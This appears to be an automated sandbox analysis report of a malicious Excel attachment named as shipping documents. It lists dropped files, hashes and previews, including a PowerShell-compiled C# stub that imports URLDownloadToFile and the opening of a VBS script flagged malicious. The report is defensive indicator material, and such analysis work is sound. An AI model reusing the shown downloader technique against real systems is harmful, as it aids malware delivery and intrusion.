Preview:	L......g.............debug$S........L...................@..B.rsrc$01........X.......0...........@..@.rsrc$02........P...:...............@..@........T....c:\Users\user\AppData\Local\Temp\41k31je4\CSC1CC2DACCE81D4F99A1AD504B85F71256.TMP................O....K..@s...............4.......C:\Users\user\AppData\Local\Temp\RES4A69.tmp.-.<....................a..Microsoft (R) CVTRES.[.=..cwd.C:\Windows\system32.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...4.1.k.3.1.j.e.4...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.

C:\Users\user\AppData\Local\Temp\RES8FC2.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48a, 9 symbols, created Thu Oct 24 06:45:49 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1328
Entropy (8bit):	3.9799943976905103
Encrypted:	false
SSDEEP:	24:HFge9Eur8b7dHd0wKdNWI+ycuZhN8akS4PNnqSqd:zr897Kd41ul8a3AqSK
MD5:	90651B2ED245E1F48777903F5C22348F
SHA1:	C085B7F13F864D7C83FFCB6358182D66574C6CC7
SHA-256:	667431320A35C8FA23D02D1063E83BC5C8D6BE5DD08CF4980F0371E511FC9340
SHA-512:	A3C7C9F2AA068C2CED947252C8A71C9625AD9760D62947FD8684392DC215C828B46A3D849176B8067D9E5D38626E8A2C536B50F8956E3B56655C7820087ABD08
Malicious:	false
Preview:	L......g.............debug$S........L...................@..B.rsrc$01........X.......0...........@..@.rsrc$02........P...:...............@..@........S....c:\Users\user\AppData\Local\Temp\sblybu2m\CSCFEB4FC09456049919CFF236451FA82A.TMP...................D.j.:.$...X+}..........4.......C:\Users\user\AppData\Local\Temp\RES8FC2.tmp.-.<....................a..Microsoft (R) CVTRES.[.=..cwd.C:\Windows\system32.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...s.b.l.y.b.u.2.m...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.

C:\Users\user\AppData\Local\Temp\cs1ocmfr.jni.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\gxqnjbwk.tlm.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\j5dh2wi3.upf.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\l3vqe43x.g43.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\mnlmeka0.iuk.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\pgyk4uvq.bgk.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\sblybu2m\CSCFEB4FC09456049919CFF236451FA82A.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.0950588631558915
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gry6ak7Ynqq4PN5Dlq5J:+RI+ycuZhN8akS4PNnqX
MD5:	AC9B8E44946AFA3AAF24050811582B7D
SHA1:	C60AB80C74F1F885EA2C66CB25319E25E7EF052F
SHA-256:	13D6DEA83BA03A7E44D625C0174A69E59CE9FF32E14CAAEAF5D979E7E9E356EC
SHA-512:	6DEBC407D49C4D3E9C7730CA01CAB162E7AC4A81FC3AA708CDAF7076CF9995DB28559291FE8FB4407908A4E2B3C9CCDF4896ACD6EDA2002122508B8014294A38
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...s.b.l.y.b.u.2.m...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...s.b.l.y.b.u.2.m...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\sblybu2m\sblybu2m.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text, with very long lines (351)
Category:	dropped
Size (bytes):	469
Entropy (8bit):	3.7537928868168384
Encrypted:	false
SSDEEP:	6:V/DsYLDS81zuly0NIMmFB7QXReKJ8SRHy4H6xr8MCLJWxWJWKy:V/DTLDfuldcWXfH1MeGOWKy
MD5:	DE4A3E7070E220B427D460A803BF2B1B
SHA1:	F59C55466008CA3D557CC114C01395BA724A3A32
SHA-256:	0652DA0455490EAF890DDCBC122A763D5F4031A9B2825D514D105BD8EA142EAE
SHA-512:	AFED9FF23E8F788D80F409856741BC68E985EB0092412F91E709D917FC37EA47E43B2560313195E5C0F8FACC6232DDD74E5CA38C66D16AF31D5F7B4984999B85
Malicious:	false
Preview:	.using System;.using System.Runtime.InteropServices;..namespace rpwYIiFsex.{. public class niee. {. [DllImport("Urlmon.dLL", CharSet = CharSet.Unicode)]public static extern IntPtr URLDownloadToFile(IntPtr RhPAWaU,string ZHOGcU,string Qo,uint lshbPHts,IntPtr j);.. }..}.

C:\Users\user\AppData\Local\Temp\sblybu2m\sblybu2m.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (366), with no line terminators
Category:	dropped
Size (bytes):	369
Entropy (8bit):	5.199158608225386
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2P23fyUp0zxs7+AEszIP23fyUrH:p37Lvkmb6KzK7WZEoK8H
MD5:	B1871D033B642113AAFDF9DF795BF44D
SHA1:	0FDFCB9F9C5842CCAF79B3DF2CF2C9595AB06237
SHA-256:	1F3762F250690A3B5764AB601C907B0AD885CAFC1D1CD74B170814B8A1C30967
SHA-512:	42E4AA997BBA31CE8F33AB62B9AAA10B894247BDADB10665811433266FFB8C20DA9E43A8DBB0126145B89986BB3490C57DA42C705807C38CD40DDEBB5D9764CE
Malicious:	false
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\sblybu2m\sblybu2m.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\sblybu2m\sblybu2m.0.cs"

C:\Users\user\AppData\Local\Temp\sblybu2m\sblybu2m.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	2.809989317716199
Encrypted:	false
SSDEEP:	24:etGSDIPBG5eM7p8mqBk+lT4z3tkZfhmssqhkWI+ycuZhN8akS4PNnq:6TsM+mAcKJhmssEH1ul8a3Aq
MD5:	DDA186FB71EFA989E7D4763BE6A11D03
SHA1:	21047F3C5596FA6090789675B365CDB4F9AE8A0A
SHA-256:	C01B031FEE4E2B28B8E36BFFE7C6D9F9B6423BF6CAC0BD99923C1D52BF3847E3
SHA-512:	E07C120D7E6FD12EFF51E6AB3E69BA2DB230A555E2B52B561817682958FD83B40FE97FB91D639F8CEC3E1407638CA9192A0EEAC8EDA21A53C674C33941D397E2
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......g...........!.................#... ...@....... ....................................@.................................X#..S....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ................................................................(....BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID.......L...#Blob...........G.........%3............................................................7.0.....s.....s.......................................... >.....P ......P.........V.....^.....e.....h.....q...P.....P...!.P.....P.......!............>.......................................'..........<Module>.sb

C:\Users\user\AppData\Local\Temp\sblybu2m\sblybu2m.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (445), with CRLF, CR line terminators
Category:	modified
Size (bytes):	866
Entropy (8bit):	5.332163758428109
Encrypted:	false
SSDEEP:	24:AId3ka6KztEo5OKaMD5DqBVKVrdFAMBJTH:Akka60tEocKdDcVKdBJj
MD5:	8A79E4F6B705ADB2CF07686CE1E226E1
SHA1:	642B53260628A63BF7BB565BC13ECCFEF9D0270E
SHA-256:	61D04C043114CAA5E41EF6D2EC6DFF5AB2176EBC09B4EB9AD1EE8873A9FB154A
SHA-512:	97022D711FDE17CC485A1E949D8F3031ADE467E934A07FE569EAAB97FB5B57FF92072393D7B795914992A58DB54D3A2F7C6794226BBAA7A4CAAE1D4A5576699E
Malicious:	false
Preview:	.C:\Windows\system32> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\sblybu2m\sblybu2m.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\sblybu2m\sblybu2m.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.3761.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\skkivikr.nte.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\t3muzvib.ml0.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\wwihtasr.iim.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\~DF195347EE89C81EFF.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFEFDBC6A03866A58F.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFFBE62D0B1033A10A.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\CF97F5\5879F5.lck

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-966771315-3019405637-367336477-1006\f554348b930ff81505ce47f7c6b7d232_ea860e7a-a87f-4a88-92ef-38f744458171

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	data
Category:	dropped
Size (bytes):	46
Entropy (8bit):	1.0424600748477153
Encrypted:	false
SSDEEP:	3:/lbWwWl:sZ
MD5:	3B7B4F5326139F48EFA0AAE509E2FE58
SHA1:	209A1CE7AF7FF28CCD52AE9C8A89DEE5F2C1D57A
SHA-256:	D47B073BF489AB75A26EBF82ABA0DAB7A484F83F8200AB85EBD57BED472022FC
SHA-512:	C99D99EA71E54629815099464A233E7617E4E118DD5B2A7A32CF41141CB9815DF47B0A40D1A9F89980C307596B53DD63F76DD52CF10EE21F47C635C5F68786B5
Malicious:	false
Preview:	........................................user.

C:\Users\user\AppData\Roaming\goodthingswithgreatcomebackwithgreatthig.vbS

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	139890
Entropy (8bit):	3.6923510936476616
Encrypted:	false
SSDEEP:	3072:vybNgt5pdGwoO4TxQQYQt2Cwvo6buGauOmM:0DNlYTdvo6TauOx
MD5:	52A69AB69D1C871566791A3C06982607
SHA1:	367845C8B76D602680EE6069F3BDE95E02C350D9
SHA-256:	4F6090A3D6A848AE3EF2310CACA02976FE8448FC21CBE357F4A28A88F34EAD28
SHA-512:	681B60151EF27726F8B4C9C0949A8962FA8B16FE3583BA5EE4019831B6AC2AD5BF2562DA0E8FC55CDEC4CB10C59A608896B9BE98BEDD1A8BBDE43B711EE2E0C2
Malicious:	true
Preview:	..p.r.i.v.a.t.e. .f.u.n.c.t.i.o.n. .C.r.e.a.t.e.S.e.s.s.i.o.n.(.w.s.m.a.n.,. .c.o.n.S.t.r.,. .o.p.t.D.i.c.,. .e.s.t.a.m.b.r.e.i.r.o.)..... . . . .d.i.m. .a.p.o.u.c.a.d.o.F.l.a.g.s..... . . . .d.i.m. .c.o.n.O.p.t. ..... . . . .d.i.m. .a.p.o.u.c.a.d.o..... . . . .d.i.m. .a.u.t.h.V.a.l..... . . . .d.i.m. .e.n.c.o.d.i.n.g.V.a.l..... . . . .d.i.m. .e.n.c.r.y.p.t.V.a.l..... . . . .d.i.m. .p.w..... . . . .d.i.m. .t.o.u.t..... . . . .'. .p.r.o.x.y. .i.n.f.o.r.m.a.t.i.o.n..... . . . .d.i.m. .p.r.o.x.y.A.c.c.e.s.s.T.y.p.e..... . . . .d.i.m. .p.r.o.x.y.A.c.c.e.s.s.T.y.p.e.V.a.l..... . . . .d.i.m. .p.r.o.x.y.A.u.t.h.e.n.t.i.c.a.t.i.o.n.M.e.c.h.a.n.i.s.m..... . . . .d.i.m. .p.r.o.x.y.A.u.t.h.e.n.t.i.c.a.t.i.o.n.M.e.c.h.a.n.i.s.m.V.a.l..... . . . .d.i.m. .p.r.o.x.y.U.s.e.r.n.a.m.e..... . . . .d.i.m. .p.r.o.x.y.P.a.s.s.w.o.r.d..... . . . . ..... . . . .a.p.o.u.c.a.d.o.F.l.a.g.s. .=. .0..... . . . .p.r.o.x.y.A.c.c.e.s.s.T.y.p.e. .=. .0..... . . . .p.r.o.x.y.A.c.c.e.s.s.T.y.p.e.V.a.l. .=. .0..... . . .

C:\Users\user\Desktop\A4230000

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Thu Oct 24 07:45:40 2024, Security: 1
Category:	dropped
Size (bytes):	91136
Entropy (8bit):	7.812565947800325
Encrypted:	false
SSDEEP:	1536:QiqHy1S6F8b2SQrEkawpoXIodew5JDPxu8lbiij9dRjMe8DOGJbb:4eFHrE2sIoFj5uybiIdRjMePcv
MD5:	9AA09D9D36801CF7950D4E7AE1F38A8D
SHA1:	FE90BF6F6BCE3B2FCD2099DD36D947D66676274B
SHA-256:	A26CAE0615BD47D3FAF6ED2E501C678A9DC0203D1396E996458EB791DE976227
SHA-512:	1357F6E43E8B2CE55565E54F24E2C0E5D199F56CF4C0ECBEC002FC26E896907D4632BFEC636FBD5E0C81A4C9C998E28A58ECD92A4CEE5CBAFEC06F1A087D2DF1
Malicious:	false
Preview:	......................>...................................N...................q........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...........P.......R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...r.......s...t...u...v...w...x...y...z...

C:\Users\user\Desktop\A4230000:Zone.Identifier

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\Desktop\Shipping Documents WMLREF115900.xls (copy)

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Thu Oct 24 07:45:40 2024, Security: 1
Category:	dropped
Size (bytes):	91136
Entropy (8bit):	7.812565947800325
Encrypted:	false
SSDEEP:	1536:QiqHy1S6F8b2SQrEkawpoXIodew5JDPxu8lbiij9dRjMe8DOGJbb:4eFHrE2sIoFj5uybiIdRjMePcv
MD5:	9AA09D9D36801CF7950D4E7AE1F38A8D
SHA1:	FE90BF6F6BCE3B2FCD2099DD36D947D66676274B
SHA-256:	A26CAE0615BD47D3FAF6ED2E501C678A9DC0203D1396E996458EB791DE976227
SHA-512:	1357F6E43E8B2CE55565E54F24E2C0E5D199F56CF4C0ECBEC002FC26E896907D4632BFEC636FBD5E0C81A4C9C998E28A58ECD92A4CEE5CBAFEC06F1A087D2DF1
Malicious:	true
Preview:	......................>...................................N...................q........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...........P.......R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...r.......s...t...u...v...w...x...y...z...

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Thu Oct 24 01:50:20 2024, Security: 1
Entropy (8bit):	7.576785073850612
TrID:	Microsoft Excel sheet (30009/1) 47.99% Microsoft Excel sheet (alternate) (24509/1) 39.20% Generic OLE2 / Multistream Compound File (8008/1) 12.81%
File name:	Shipping Documents WMLREF115900.xls
File size:	100'864 bytes
MD5:	98502d8342f1afd8b699b26ff777a919
SHA1:	0d0c6a6f90611fee9c232d90fca0776dbbff5241
SHA256:	40bcfababa169393524d58a9447ea465ac7a18edd09ae9eaea2739c8d77dab9d
SHA512:	0d1e03166c7dc08098acaeace97930fdc7bfa5b50932bbb6ee151691202389f1d7d053c2d0b0a6248ecfa7a6056bd16a0ad2a61e91a6f03d292d7ace1d5e7e86
SSDEEP:	1536:MiqHy1S6F8b2SQrEkawpoXIow7yLHXXRD6G10u9QvuTUpx2MjeHmfDI7:UeFHrE2sIoeK3XR2GWumv6UprT
TLSH:	AEA3F12933D6C802D4869B719EDAC0DB8A51FC96AD65CB5B32C0F31E24BD6C2D94374B
File Content Preview:	........................>...................................N...................q..............................................................................................................................................................................

File Icon


Icon Hash:	276ea3a6a6b7bfbf

Static OLE Info

General

Document Type:	OLE
Number of OLE Files:	1

OLE File "Shipping Documents WMLREF115900.xls"

Indicators

Has Summary Info:
Application Name:	Microsoft Excel
Encrypted Document:	True
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	True

Summary

Code Page:	1252
Author:	WORMS
Last Saved By:	91974
Create Time:	2013-09-08T10:39:32Z
Last Saved Time:	2024-10-22T13:14:21Z
Creating Application:	Microsoft Excel
Security:	0

Document Summary

